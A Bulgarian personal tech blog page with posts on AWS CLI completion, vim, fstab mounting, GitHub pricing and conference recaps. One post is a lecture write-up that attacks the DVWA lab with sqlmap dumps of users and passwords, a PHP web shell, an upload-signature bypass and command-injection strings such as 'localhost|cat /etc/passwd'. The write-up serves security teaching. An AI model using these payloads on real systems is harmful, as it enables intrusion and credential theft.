Category: Статии

aws zsh autocomplete

Един бърз writeup как да си подкарате безспорно (безпорно?) мегаудобството aws cli completition (тоест като напишете aws s3 l да ви покаже всички коменди в този namespace) под macos. Как да го инсталирате можете да прочетете тук.
В документацията на aws го има описано в повече детайли, но meat-а е само да добавите в .zshrc следните редове:

# Path to aws_completer
export PATH=/usr/local/bin/:$PATH

autoload bashcompinit && bashcompinit
autoload -Uz compinit && compinit
complete -C '/opt/homebrew/bin/aws_completer' aws

След това за да избегнем стъпката с logout или рестарт можем просто да презаредим файла наново (един хубав плюс е и това, че ако нещо не сме paste-нали правилно или пътят към aws_completer-а е грешен ще получим и съответното съобщение и ще ни спести малко време вместо да рестартираме при всяка промяна да речем):

source ~/.zshrc

Сега е време за тест, да опитаме да изкараме списък с всички ec2 instances (без значение от state-а им):

aws ec2 describe-instances --output json | jq

Малко е трудно да направя демо на това, но като напишете aws ec2 des[TAB] и ще ви покаже всички възможни опции. След като изберете нещо конкретно можете да продължите със следващия параметър, в случая –output. Неудобното е, че не suggest-ва и опциите по параметрите (в случая те са json, table, yaml-stream, text, yaml), което приемам за неудобство, но и разбирам, че не би работило това навсякъде (представете си autocomplete-а да прави requests към вашите ресурси (дай всички ec2 инстанции, после дай всички тагове и т.н.). Би било епично, но не виждам това да бъде възможно скоро време. Та ако имате инсталиран jq бихте видели output с всички параметри по EC2 инстанцията (които са десетки). За по-лесна визуализация можете да използвате –query параметъра и да изкарате нещо подобно:

aws ec2 describe-instances \
--query "Reservations[*].{ \
OwnerID:OwnerId, \
IP:Instances[0].PublicIpAddress, \
InstanceID:Instances[0].InstanceId, \
AvailabilityZone:Instances[0].Placement.AvailabilityZone, \
InstanceState:Instances[0].State.Name, \
KEY:Instances[0].KeyName, \
VPC:Instances[0].VpcId, \
InstanceType:Instances[0].InstanceType \
}" --output json | jq

И съответния output:

[
{
"OwnerID": "255875099999",
"IP": null,
"InstanceID": "i-074db48e5a4a4a4a4",
"AvailabilityZone": "eu-west-1a",
"InstanceState": "stopped",
"KEY": "nedko",
"VPC": "vpc-0cb7fb97b97b97b97",
"InstanceType": "t3.micro"
}
]

–query е мощно средство ако искате да автоматизирате през aws cli или искате да дебъгвате нещо определено и по ред причини не използвате AWS CloudWatch да речем. Аз например имам един gistс няколко craft-нати spell-а за различни кейсове, които са ми били нужни през годините и когато имате 20-30-40 инстанции (или ресурса, тук пиша в контекста на EC2, но cli console-а може да се използва практически навсякъде) може да ви улесни живота с много.

19.03.2022

Така както съм започнал ще обърна блога на tutorial сайт (в което няма нищо лошо).
Използвате ли vim в ежедневието си? Знаете как да излезете от него? Чудесно, този пост е за вас.

Наложи ми се днес да заменя много стрингове с други такива та реших да го направя под vim и споделям с вас.

Отваряме файла, който искаме да редактираме и натискаме : (за да влезем в режим на приемане на команди, баси комунистическото прозвуча):

%s/False/true/g

Този regex ще потърси целия файл за стринг False и ще го промени на True. Може и само ред по ред, а не всички наведнъж като махнете /g накрая, а можете и да му кажете само върху кои редове да направи промяната с:

:6,10s/False/True/g

18.03.2022

Искам да накарам диска ми да се mount-ва автоматично при стартиране на ubuntu-то та реших да споделя ако някой има нужда от долните редове:

sudo fdisk -l

От списъка намирам, че диска, който търся е sdb, a partition-а му е sdb1:

Disk /dev/sdb: 5,47 TiB, 6001175126016 bytes, 11721045168 sectors
Disk model: ST6000DM003-2CY1
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 4096 bytes
I/O size (minimum/optimal): 4096 bytes / 4096 bytes
Disklabel type: gpt
Disk identifier: C2683872-ECAF-4306-8170-73D16C6CE475

Device     Start         End     Sectors  Size Type
/dev/sdb1   2048 11721043967 11721041920  5,5T Linux filesystem

След това намирам UUID-то на partition-а (може и с името ѝ, в случая /dev/sdb1, но това не е добра идея по много причини):

$ sudo blkid
/dev/sdb1: UUID="fe490c8e-ac32-442a-2dfc-8e089131e048" TYPE="ext4" PARTLABEL="Storage drive" PARTUUID="6b1f3ab3-a009-43d8-8fc4-d8e456acc717"

И добавяме на нов ред в /etc/fstab

UUID=fe490c8e-ac32-442a-2dfc-8e089131e048 /mnt/bigDrive ext4    defaults        0       2

Като разбира се променяме UUID и mount point-а, който при мен води до /mnt/bigDrive.

И за да тестваме дали сме направили всичко правилно може и без рестарт, а със следната команда:

$ sudo mount -av
/                        : ignored
/boot/efi           : already mounted
none                 : ignored
/mnt/bigDrive   : successfully mounted

Туй то.

Мина QA: Challenge Accepted 6.0

Мина, мина, мина! Чаках този момент от няколко месеца вече и като мина се образува стандартния вакуум който си се появява след като сляза от сцената.

Този път публиката беше разделена на три основни части – в залата, отвън и online. Общо организаотирте казаха, че са били долу-горе колкото миналата година – малко над 700 човека (без тези, които после са гледали видеата).

Подготовката ми започна началото на годината и когато COVID-19 отложи конференцията за Септември бях се поотпуснал, но като стана Септември пак беше драма. Но този път контролирана драма. Този път научих токова много по темата, че смятам да направя първите 2-3 епизода на подкаста по темата с говорене пред публика. Смятам да говоря освен за нормалните неща като подготовка, soft & hard skills и за неща за които рядко се говори – какво е да стъпиш наистина на сцената, какво може да се счупи там (например аз чувах гласа си с около половин секунда закъснение и това ме счупи много).

Този път Златина беше с мен, беше първата ми big-scale conference с нея и това помогна доста. Дори после преживях доста по-лесно цялата комуникация с хората и видях красивото в неща, които не бях забелязвал.

Да, освен това имам разни новини за споделяне, които бавих, защото не измислих как да ги представя по интересен начин тук, защото този телеграфния не ми харесва изобщо.

Те така де, друго интересно е какъв импакт може да има и LinkedIn. Споделих преди няколко дни пост за конференцията и събра общо над 4600 views, 70-тина лайка и огромен брой читатели, които не са HR (което всъщност ме учуди най-много).

Те така де, очаквайте скоро по-подреден и panic-free епизод с основните точки от talk-а ми. Даже се замислям дали няма да е удачно да го изнеса (без техническите детайли) на TedX. Вие какво мислите?

P.S. Аз забравих най-важното, бе!

Линк към презентацията можете да намерите тук.

16.04.2020 – github с повече безплатни екстри

Ся, супер тъпо заглавие, но толкова. Ръждясалите ми за блог активности мозъчни клетки им трябва малко заигравка за да зпаочнат да пишиат … още по-тъпи заглавия :)

Та – преди няколко дни GitHub си промени ценовите условия. Не е станал безплатен, защото беше безплатен за всички и преди това, но някои от нещата, които бяха за план “Team” вече са безплатни за широката аудитория.

Основните разлики са:

  • Private repositories – преди безплатните акаунти в github имаха само публични repo-та, вече всеки може да си има и свое private repo. Някои компании ползваха платените планове на github само за да се възползва от private repos (макар, че предложих неведнъж да минем на gitlab, но това е друга тема);
  • Unlimited collaborators;
  • До 2000 минути безплатно за достъп до GitHub Actions – това е тяхната (сравнително нова) CI/CD платформа;
    • Като подточка, но имайте едно наум, че “Required status checks“, което значи, че хората, които правят ревю по него няма да могат да merge-нат, е само за публични репота;
    • Automated code scanning също работи само за публичните репота.

Промяната е страхотна и ще помогне на много малки организации, училища и университети и хора (влизащи) в бранша да мигрират към GitHub, защото частните repo–та са голяма благинка, а GitHub Actions са чудесен старт в CI/CD. В пакета са включени и 500 MB място за вашите проекти (note – 500 МЕГАбайта, може да ви се стори малко, но за код това си е направо невъзможно за запълване с код).

И понеже говорихме за безплатната версия може да ви е станало интересно какво може “Team“:

  • Първо цената – редуцирана е от $9 до $4;
  • Require reviews – ако това го имаше в безплатната версия щеше да е медец. В доста огранизации хората не могат да commit-ват директно към master branch-а, а трябва да мине ревю от поне още един човек;
  • 3000 минути за GitHub Actions за частни репота, безплатно за публичните такива;
  • 2 GB code storage (което е 4 пъти повече от безплатния план);
  • НЯКАКЪВ support, описан сравнително лаконично. Ако погледнете таблицата за Enterprise плана ще видите 8 часов SLA, което вече си е нещо друго.

Детайлни разбивки на всички планове можете да видите в страницата на GitHub.

И за финал цитирам поста на GitHub – “But every developer on earth should have access to GitHub. Price shouldn’t be a barrier.

Security testing – fast forward. The lecture

По-долу е лекцията, която изнесох на QA: Challenge Accepted 5.0. Различно е отсъствието на плоските шегички и малко по-подробната на места информация.

Като начало, вместо начало

Scope-а на лекцията е да демонстрира няколко добре известни атаки под формата на един общ процес. Това са:

  1. Да намерим потребителските имена и пароли в база, до която нямаме credentials;
  2. Да качим зловреден код прескачайки (добре) написана upload функционалност;
  3. Да изпълним кода и да получим съдържанието на произволен файл в системата.

Инструментариума, който ще използваме е:

Подготовка на средата:

Инсталацията на Docker и Python са като всяко друго windows next-next-finish приложение. След това идва драмата.

За да вдигнете цялата си среда, трябва в command prompt (start menu – cmd) да изтеглите docker repo-то:

https://hub.docker.com/r/vulnerables/web-dvwa/

Сега repo-то на DVWA заедно с апаче, база данни, PHP и една кофа неща са при вас. За да ги направите достъпни, трябва просто да стартирате контейнера:

docker run --rm -it -p 80:80 vulnerables/web-dvwa

1. SQL Injection

SQL Injection най-общо казано е възможност за изпълняване на нерегламентирани SQL statements като SELECT, UNION и т.н., които не са предвидени в текущата функционалност на приложението. С други думи ако параметризирате без подходяща валидация и/или санитизация някой параметър, може да има драма. Пример за драма:
GET request:

http://nedko.info/sql_injection/inj.php?drama=1

Кода, който работи отдолу:

$drama = $_GET[‘drama’];
$getDrama  = “SELECT * FROM vulnerabilities WHERE type = ‘$id’;”;

Ако въведете валидни данни всичко ще е супер, ноо (второто О е за допълнителна драма) ако счупите заявката ще стане любопитно.

Най-елементарния и емблематичен пример е Светия Апостроф. Ако набием един ‘ след параметъра ?drama=1’ ще строшим SQL заявката.

Пример в DVWA с класически SQL injection (линк към локалния DVWA – http://localhost/vulnerabilities/sqli/):

DVWA – SQL Injection, level 1

Но понеже живота на penetration tester-а (или на смъртния човек, който е решил да се занимава с това) не винаги е лесен (никога не е) и може вече някой програмист далновидно да е решил да направи валидация и да избегне този балъшки тест.

Тогава идва ред за нашето последно късче надежда или т.нар. Blind SQL Injection (или както след лекцията някой каза – Орхан Мурад SQL injection), който можете да намерите в менюто на DVWA – SQL Injection (Blind). По самото си същество това е същата уязвимост, но не получаваме веднага потвърждение от типа на бял екран или експлозия на еднорози. Но лесно можем да проверим какво става като отворим inspector-а на Chrome (естествено става и с всички други модерни браузъри, дори и с Онова, което никой не нарича браузър) и влезем в таб Network. Там ще минат всички request-и (POST/GET ни интересуват най-много, но ще видите и images, JS, CSS files и всичко от което има нужда ресурса, който сте отворили).

Сега като набиете един ‘ в полето “User ID” наблюдавайте какво ще се случи в Network Tab-а:

За да продължим към екшъна ще ни трябват и кукитата на скрипта, защото все пак, за да достигнем тази функционалност минахме през логин. Cookies можете мега лесно да намерите на същия екран, но в подтаб (има ли такава дума?) “Cookies”:

До момента използвахме само браузъра за нашите дребни шегички с администраторите. Сега е ред да използваме нещо по-могъщо – sqlmap.

Note – чудите се къде са SQL break characters, къде ви е cheatsheet-а с който можете с copy/paste да трошите сайтове? Понеже на лекцията имах само 25 минути нямаше време за това, няма да го покажа и тук (освен ако някой наистина иска да види какво става отдолу, тогава на драго сърце бих дописал статията с малко теория). За наше щастие sqlmap прави всичко за нас. Ние само трябва да му дадем параметъра, който смятаме за уязвим и cookie-тата, за да може инструмента да се “логне”. Туй то, както казваме в Добричко/Варненския край.

sqlmap – our secret weapon

За да подкарате sqlmap, трябва да имате първо Python. Инсталацията му е лесна и няма да имате грижи.

По ред на information gathering процеса ще запиша тук всичките стъпки, през които трябва да минем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” –dbs

Резултата:

available databases [2]:
[*] dvwa
[*] information_schema

И ето, че намерихме базата, която използва DVWA. Сега ще ровим още, за да получим имената на таблиците на същата база (ако новите и старите богове нямат нищо против):

./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa –tables

Новите параметри тук са:

  • -D dvwa – казваме, че целта на нашата задача е база с име dvwa
  • –tables – покажи всички таблици от базата дефинирана по-горе.
Database: dvwa
[2 tables]
guestbook
users

И ето, че без много зор стигнахме до таблиците на база, за която нямаме никакви credentials. И понеже чичо Недко е нагляр по природа продължаваме да видим докъде можем да стигнем:

python ./sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -D dvwa -T users –columns

Новите параметри тук са:

  • -T users – целта ни е таблица с име users;
  • –columns – покажи колоните на базата (това е нещо като show columns from [users] в mySQL).
Database: dvwa
Table: users
[8 columns]
Column – Type
user – varchar(15)
avatar – varchar(70)
failed_login – int(3)
first_name – varchar(15)
last_login – timestamp
last_name – varchar(15)
password – varchar(32)
user_id – int(6)

Note – можете да видите и payload-а, който sqlmap ще направи, ако сте от любопитните.

И ето, че имаме всичката нужна информация за базата и структурата ѝ:

  • DB name – dvwa;
  • DB tables – guestbook, users;
  • DB user columns – user, avatar, failed_login, first_name, last_login, password, user_id;
  • Таблици, които са ни интересни – user и password.

Извеждане на потребители и пароли и декрпитирането им

python sqlmap.py -u “http://localhost/vulnerabilities/sqli_blind/?id=1″ –cookie=”security=low; PHPSESSID=9s25ca7u16igehn17fl9id8i70” -C user,password –dump

Както забелязвате няма нужда да въвеждаме името на базата и таблицата тук, защото sqlmap си ги пази. Това значи, че ако решите да си reproduce-нете целия сценарии отново, трябва да минете през горните точки също.

И ето, че с последната команда направихме все едно един select user, password from users, взехме хешовете и направихме dictionary attack в който съпоставихме хешовете с тези в dictionary файла.
Естествено за демото паролите не бяха t@snipi4ki!, а тривиални, за да може да не използваме +10GB файлове и часове чакане, а покажем как работи sqlmap-а.

И ето, че потребителите, които имаме в базата са:

  • 1337/charley
  • admin/password
  • gordonb/abc123
  • pablo/letmein
  • smithy/password

С това нашата задача приключи. Продължаваме напред, Кобра, с:

File Upload manipulation

Малко тъпо заглавие, но друго не измислих. Идеята е, че ще направим малък трик, с който ще успеем да качим PHP файл, който ще представим за PNG и в последстиве ще преименуваме директно на сървъра с command injection, за да изпълним зловредния си код (зъл смях).

Преди време имах трудни периоди с един програмист, който пишеше upload форми като казахтстански опълченец – без никакви валидации освен разширението на файла. След десетки спорове стигнахме до консенсуса да ползваме getimagesize в PHP. Хитринката е, че освен размера на image-а функцията проверява и дали файла е от тип image или някой хитряга се опитва да върти номера. Тогава при моите си опити да кача нещо друго освен image, не увенчах успех. Но днес ще ви покажа как да прескочим и това.

Нашия зловреден код ще е убер прост:

<?php

system($_GET[‘cmd’]);

?>

Когато го качим на сървъра, ще можем да извикваме параметри през него все едно сме в конзолата:
http://localhost/hackable/uploads/hack.php?cmd=ls /

Преди това обаче свръх малко теория – подобни функции изчитат сигнатурата на файла, която е в началото му и ако срещнат съвпадащи такива с типа, за който се представя файла, го приемат за чиста монета.
До момента, в който някой не реши да смени тази сигнатура (laugh in Spanish).

За да редактираме сигнатурата на файл, ни трябва HEX редактор и PHP кода от по-горе запазен във файл с разширение PNG (в моя случай е hack.png). На по-старите кучета, които са живели във времето, в което това беше актуално, няма да обяснявам какво е, а за по-новите кучета – също. Просто си изтеглете WinHEX или който и да е друг подобен инструмент, отворете hack.png и от страницата File Signatures Table намерете PNG и го копирайте в началото на файла:

При paste изберете в диалоговия прозорец “ASCII Hex”.

И ето, че имаме handcrafted файл, който можем да си използваме да си тестваме upload формите.

Нека сега опитаме да качим файла през upload формата на DVWA:

И ето, че имаме качен успешно файла в две директории нагоре /hackable/uploads.
Ако сега го достъпим, браузъра ще се опита да отвори файла като image, но ще покаже някаква простотия. Пътя до файла е http://localhost/hackable/uploads/hack.png

Понеже сега не можем да изпълним PHP-то, идва ред на третата и последна атака, която ще направим днес:

Command Injection

Целта на тази атака е да намерим функционалност, която извиква директно команда от системата и да слепим с нея втора, която ние да си изберем. В конкретния случай ще преименуваме hack.png в hack.php.

Като цяло извикването на команда директно си е за бой, но ако извикате команда през PHP без да имате нужните валидации, сте за хвърляне зад Вала.
Както повечето атаки и тази разчита на липса на валидации за специфични кейсове. Атаката се осъществява мега лесно със знак за конкатенация. Пример за такива знаци има в кода на DVWA (ниво на трудност High):

Нашата нищожна атака ще е супер проста. Както виждате от примера по-горе на трети ред след| има интервал (демонстриращ, че човешката грешка също е важен показател). Тоест с | ще можем да слепим втора команда след валидно подадена такава (като не забравяме, че не трябва да има интервал след знака, за да не мине валицадията). Ето и пример с това как можем да видим системен файл директно от WEB чрез command injection:

localhost|cat /etc/passwd

И както виждате можем да видим съдържанието на системен файл без проблем, за това ще опитаме да преименуваме файла hack.png в hack.php и да го изпълним. Командата е:
localhost|mv ../../hackable/uploads/hack.png ../../hackable/uploads/hack.php

Не очаквайте винаги да има някакъв output от командите, които (се опитвате да) изпълнявате.

Изпълнението на зловещия план

След като създадохме файл, който специално обработихме, качихме и преименувахме, е време да го изпълним и да видим дали всичката тази играчка ще сработи. Ще се опитаме да видим съдържанието на конфигурационния файл на DVWA:

http://localhost/hackable/uploads/hack.php?cmd=cat%20/var/www/html/config/config.inc.php

След като го изпълните дайте view source (ctrl+u)

И ето, че с тези елементарни похвати успяхме да извлечем потребителските имена и пароли от базата на DVWA, да му прескочим upload формата и да изпълним произволна команда.

Линк с презентацията можете да намерите мааалко по-долу. Публикувам я as it is макар, че малко се счупи при импорта от PowerPoint към Google Slides. #Yolo (или както Исуската казва – #YOLT (you only live twice).

Заключение

На всички ни е ясно, че новите ORM frameworks например се грижат за SQL injection още на много ниско ниво, че command injections могат да се разрешат лесно с използването на почти произволен framework и правилна конфигурация, но всеки трябва да се замисли поне малко за сигурността, докато пише проложения, за да може тези, които го тестват да кимнат одобрително с глава и като го пуснат в production, да са поне една идея по-спокойни.

P.S. Ако ви е интересно мога да разпиша повече по темата с DVWA като XSS, CSRF, чупене на хешове с John the Ripper, сигурност в WordPress (скенери, атаки, как да се предпазим, а, у) и т.н.

P.S.S. Преди време говорих на WordPress meetup-а във Варна за сигурност, ако ви е интересно – има повечко системни неща, има и dictionary attack-а и подобни:

ISTA 2018 live blogging, day 2

Добро утро.
Винаги е приятно да влезеш в зала с десетки хора, които говорят за Agile, код и тестване.

 

Всичко започна с лекцията на Mathias Verraes – “Design Heuristics”

Това, бога ми, беше първия keynote speech без презентация, който гледам. Чувството е като онези push-up bras. Всичко беше ок, но нещо липсваше.

Аз лично се изгубих напълно още в началото.

 

Hindsight lessons about API testing
Viktor Slavchev

 

Да слушаш тестинг трола винаги е удоволствие. Дали е заради лекотата с която засажда идеи в главите ни или за интересните теми или заради братата, не знам, но при мен се получава.

И да не звуча тенденциозно мога да го хейтна (без хейт не може!1!!) – тази брада трябва да расте, по вързможност до колената! Край на хейта.

Сега, сериозно.

Лекцията му започна с препрепълнена зала и хора седящи по земята.

Първо да уточним думата hindsight. Това е “умението” да разбираме някакво събитие или ситуация само след като то се е случило. И един много подходящ пример “With hindsight, we would recommend exactly the opposite.”

Виктор каза нещо познато, което трябва да се казва много по-често и да се използва – “Tools don’t make software (tools are not a solution). You’re the one who solve the problem”.

Преди да влезем в контекста на API тестинга трябва да обясним какво е web service и Виктор го обясни по интересен начин:

Web service-а е като комуникацията със сервитьор*:

  • Правите поръчка (request);
  • Получавате отговор (от типа да/не) (status code);
  • Получавате това, което сте поръчали (data, result)

Извън контекста на презентацията на Виктор – примера със сервитьора може да се използва и при security testing-а като му поръчаш да ти сервира ‘, *, NULL, 0 OR 1=1, шкембе с крутони и т.н. И после следим резултатите.

 

Относно точката за status code-а – понеже статус кодовете наистина са много и е хубаво да знаем поне основните най-лесния начин за това е да видите http status cat. От там аз научих повечето :D

 

Няколко неща преди да започнем с API тестовете:

  • Документацията не е винаги е пълно описание на продукта. Особено автоматично генерираната, outdated или зле написаната документация. За това трябва да мислим, да идентифицираме да  намерим нашия testing oracle (дефиницията си я намерете в блога на Виктор), да задаваме въпроси;
  • Настройката ви при писане на тестове – не пишете тестове, които минават, светят в зелено и еднорози скачат по репорта, а тестове, които тестват функционалност (понеже тук може да се говори много можете да пишете коментар в този блогпост или в поста на Виктор в неговия блог);
  • При API тестинга често забравяме да тестваме истински сценарии, а не само кой call какви отговори връща;

 

Кои тестове си струва да автоматизираме

  • Всички тестове, които връщат грешен response code (status code checks);
  • Всички тестове, които връщат грешни данни (structure checks);
  • Всички тестове, които не връщат никакви данни;
  • В добавка – освен единични, изолирани тестове е нужно да правим тестове по цели сценарии, знаете, но да кажа.

 

Status code checks – плюсове и минуси:

  • Плюсове:
    • Пишат се бързо и лесно;
    • Много дефинитивни;
    • Работят като sanity/smoke тестове.
  • Минуси:
    • Много повърхностни;
    • Трудно получаваме някаква полезна информация ако използваме GET методи (получаваме само status code без никакъв контент);
    • Status code checks сами по себе си не дефинират сериозни проблеми;

 

Structure checks – плюсове и минуси:

  • Плюсове:
    • С тях лесно може да проверим данните, които получаваме (no shit, Sherlock);
    • Тестовете могат да са много конкретнил
    • Ако използвате Codecept, например, можете да използвате regex.
  • Минуси:
    • Тези тестове са използваеми само за тестване на съдържание;
    • Трудни са при тестове на променливи данни;
    • Не са лесни когато имате deep nesting/дълги респонси.

 

Scenario checks – плюсове и минуси:

  • Плюсове:
    • Много близки до потребителското изживяване;
    • Използваеми при намирането на integration problems;
    • Могат да бъдат изпозлвани като леки regression suits;
    • Когато пишете scenario checks приемайте API-то като приложение (не ме целете с домати, но помислете за това). Много по-лесно е да измислите някакъв flow и да работите по него..
  • Минуси:
    • Бавни за писане/изпънение;
    • Изискват добра абстракция;
    • Трудно е да се каже кога са достатъчни

Както е писано неведнъж – при писане на тестовете използвайте ААА метода – arrange, act, assert. Това е достатъчно. Ако обаче се оплетете в морето от arrange/act-ове драмата ще е по-голяма от тия в индийските сериали.

Сега като си препрочетох описанието с тази кирилско/английска плетка не ми звучи толкова добре колко я чух, може би трябваше да я опиша на английски.
В блога на Виктор има голяма част от това, което каза на лекцията така, че смятам ще ви е интересно.

 

 

Sales Skillz for IT People
Iancho Dimitrov, VP Innovation, Strategic Clients & Business Development, Musala Soft

Доста извън моя интерес реших да участвам в лекцията на Янчо Димитров, който беше представен като легенда. Сигурно е.

Разакза ни малко за продажбите като имаше две интересни попадения:

  • “Sales are not bad thing if done right”;
  • “People don’t want a quarter-inch drill, they want a quarter-inch hole” Ted Levitt.

 

Why Teams and Culture Matter: Leadership lessons – Vasil Popovski

Преди години слушах за пръв път Васил Поповски на едно от първите издания на ISTA. Тогава той работеше за VMWare и тогава и сега разказваше супер интересните неща. И понеже този път няма да мина през превеждането на термини и презентация ще е на английски.

 

 

Google have quite interesting project called project Google Aristotle. With that in mind Vasil gives us couple of vision about what’s the most important thing in team:

5) Impact – team members think their work matters and creates change;

4) Meaningful work – is personally important to team members;

3) Structure and clarity – team members have clear roles, plans and goals;

2) Dependability – team members get things done on time and meet Google’s high bar for excellence;

1) Psychological safety – team members feel safe to take risks and be vulnerable in front of each other.

 

How to build a great team:

  • Team is not family – family is structure that is inherited, you cannot make changes there;
  • Lead the team, do not manage it – lead people, manage projects. Manager says “Go”, leader say’s “Let’s go”;
  • Foster a culture – culture is the shared core values, practices and beliefs of the team members.
  • Integrity is what you do when no one is watching

 

Hiring:

  • Hire for cultural fit;
  • Prefer skills over knowledge (skill is to know how to apply knowledge);
  • How many interviews you do as company – Google make a survey (how much interviews to hire someone) – fourth interviews was enough to predict a new hire’s performance with 86% confidence. After the fourth interview the accuracy of the mean score increases by less than one percent. More info can be found here
  • In Leanplum for example one backend developer goes trough next interviews:
  • Algorithmic
  • Coding/OOP
  • Design
  • Cultural fit
  • For Leadership skills

Performance management:

  • A single negative employee or bad performer can cause a 30%-40% drop in a team’s performance.

ISTA 2018 live blogging, day 1

По традиция и тази година ще има live blogging на ISTAcon.

 

Денят започна с opening speech и проблеми с микрофоните и озвучението. Добре, че беше първия лектор да разсее малко малките спънки и да поговори с харизмата на човек, който познава нещата в детайли:

 

Keynote Session: The Internet of Things is dead, long live the internet – Brandon Satrom, Co-Founder and CEO of Tangibl

 

Говорейки за харизма един от най-приятните за слушане лектори тази година определено отива към Брандън. В неговия keynote той ни разказа за разбиранията си за Internet of Things, където неизменно ми светна за LoraWAN и Варненското и Великотърновското общество, което разпространява идеята.

Според Брандън Internet of Things не може да бъде стабилна прекалено много време поради много фактори и предлага да го разглеждаме като … Интернет.
Разказа ни за Mesh networking, нещо, което е супер интересно и при интерес ще разпиша малко повече за него. Много грубо казано това е вътрешна мрежа, която не е expose-ната за външния свят и не зависи от интернет свързаността. Например ако имате датчик за наводнение и помпа за отводняване не е нужно и двете да са свързани с интернет, да разчитат на него и да пращат данните/респективно да се контролират от сървис, който е някъде навън като може комуникацията да стане вътрешно, датчика да подаде сигнал към помпата, която да си свърши работата. Разбира се няма да е приятно да не знаем какво става в дома ни, но не е ли по-добре automation-а да си свърши работата отколкото докато къщата се пълни с вода и настава микро катаклизъм те да ping-ват сървиса да видят дали не е Online? :)

В почивката се видяхме с Виктор Славчев и Александър Тодоров. Винаги е приятно да се видим и поговорим макар, че липсваше бирата. Ще видим довечера дали ще наваксаме :)

Developer’s survival guide: bug fixing for smart devices – Alexander Kostadinov, Senior Software Engineer at Musala Soft

Александър Костадинов говори и миналата ISTA за проекта, който разработва.

Към момента лекцията му беше основно репорт за това какво са постигнали. Разказа за (QA) процесите по техния проект, които звучат доста стандартни към момента. Интересно е, че са си организирали бъговете по категории (пак не е нещо революционно, но е интересно) и се показват интересни неща.

Явно момчетта имат афинитет към категоризиране на неща. Показаха и reaction Average reaction time по категории (find cause, re-test, apply fix re-deploy). При интерес ще пиша повече по темата с категоризациите, че е хубави за всички да видят по-голямата картинка от време на време.

 

Иначе бяха категоризирани някои от основните принципи, които си заслужава да бъдат споменати отново, защото са важни:

 

Как да преживеем като тестващи хора (не само QA, а и всеки, които тества каквото и да е в коя да е фаза на проекта) в свят на бъгове и неработещи (от всякакъв тип) неща:

  • Използвайте всяка възможност за тестване – при писане на код, когато имате други задачи, които не са свързани с тестване, когато се присетите за някой евентуален flow докато deploy-вате кода си. Това ще ви позволи да погледнете проекта през друг ъгъл, който понякога изтърваме докато се опитваме да покрием други критерии. Например при deploy на testing environment съм се сещал да правя експерименти с липсващи библиотеки или такива със стари версии. Беше грозно :)
  • Преди deploy (без значение дали е на dev/QA/pre-prod или prod среда) винаги проверявайте какво по приекта е ъпдейтнато. Например ако има нови dependencies/нова верия на API/framework е важно да се види changelog-а и да се изтества, защото е добро място за задаждането на много сконфузни ситуации от типа на – “Ама то работи при мен…”.

 

Bug avoidance

  • Опитайте се да покриете всички възможни ексепшъни  за които се сещате (превода ми е покъртителен. В оригинал е “Try to make sure you handle all possible exception”)
  • Логвайте, но внимателно. Там където няма нужда от 120 редови stack traces по-добре не ги логвайте. Знам, знам – винаги е по-добре да има колкото се може повече информация, но хората, които дебъгват могат много лесно в цялата вълна от логове да изтърват критичните моменти. Обратната ситуация с логването на почти никакви данни също е лоша практика.
  • Логвайте stack traces само при реална грешка. Това може да е да кажем липса на достъп до някой сървис. Няма смисъл да логвате stack traces за нещо като активирана валидация, например (би било жалко, нали? :D )
  • Не игнорирайте и логиката при висока конкурентност, особено при асинхронни операции. При нужда винаги приотизирайте
  • Без значение от code change-а, винаги правете full regression. Малък bugfix може да породи още 10
    • Тук аз трябва да добавя 1-2 забележки. Физически не е много оправдано да се прави full regression при най-малкия code change, но тук unit testing-а е наш най-добър приятел. Viva la automation!
  • Нека QA да тества по време на development фазата. Тук много зависи от организацията на компанията и процесите, но винаги е добре някой да види парче от вашата работа и да даде идеи и насоки за които не сме се сетили;
  • По възможност нека целия екип да е ангажиран с тестването в development фазата. Не говорим за това да дърпаме PM-а за ушите да гледа полуработещи неща (или функционалности без дизайн), но е страхотно да се обсъжда (дори на идейно ниво) текущата ни работа с целия екип. Така могат да бъдат отстранени проблеми още в зародиша им.

 

Bug investigation

  • Рестаритрането на машината почти никога не оправя проблемите;
  • Направете си предифинирани сетъпи за тестване. Ако тествате десктоп приложение например, което трябва да работи в предварително конфигурирана среда винаги е добре да имате една виртуална машина/контейнер, който да ви е фундамента в тестването. Така времето ви за реакция ще се намали драстично (представете си след всяка преинсталация на приложението да чистите/модифицирате регистри, да триете файлове, да конфигурирате разни сървиси, етц);
  • При тестване, респективно логване на бъгове е важно да описвате и версиите с които reproduce-вате. Иначе изобщо не е изключено да стане една километрична кореспонденция за да може след няколко изгубени човекочаса да стане ясно, че някой тества със стара версия на някоя билиотека/ОС/framework). Been there – done that.
  • Не забравяйте да гледате логовете. Те са ваш приятел, дори и да са много (за референция прочетете няколко точки по-нагоре)
  • Приемете го – unhandled exception може да се логне като бъг, дори и да се вижда само по логовете. Handle-вайте си ексепшъните за да няма драма
  • Наистина се постарайте преди да кажете, че бъга е “not reproducible”.

 

How we survived?

  • Постоянна комнуникация между всички членове на екипа (ако не правите daily meetings – те са добро начало);
  • Let’s face it – ако нямате добър domain knowledge колкото и добър програмист да сте ще е трудно не само на вас, но и на екипа в който работите;
  • Обикновено при development фазата програмистите не са много сговорчиви за bug fixing, но това е нужно. Опитайте да ги редувате – хем за разведряване на обстановката, хем да не ви се наложи да фиксвате десетки бъгове след development фазата.

 

Пф. Изписах си писането. Ако на някой му е интересно или има въпроси нека не се стеснява и да пита.

 

 

CI/CD in cloud independent environment – Toshko Todorov

Тошко започна силно с няколко мемета. Темата му за Continuous Integration / Continuous Delivery е интересна.

Разказа малко философски за контейнерите (в лицето на Докер), за CI и CD

Като цяло презентацията му беше много обща и наистина нямам какво друго интересно да ви предам.

Свръхчовекът и интервюто му с мен

Както писах преди време Жоро от Свръхчовекът с Георги Ненов ме покани да поговорим малко за Дунав Ултра, мотивация и за още няколко интересни неща.
Подкаста излезе и можете да го чуете тук:

 

Благодаря на Жоро за страхотното интервю!

Мина Дунав Ултра 2018

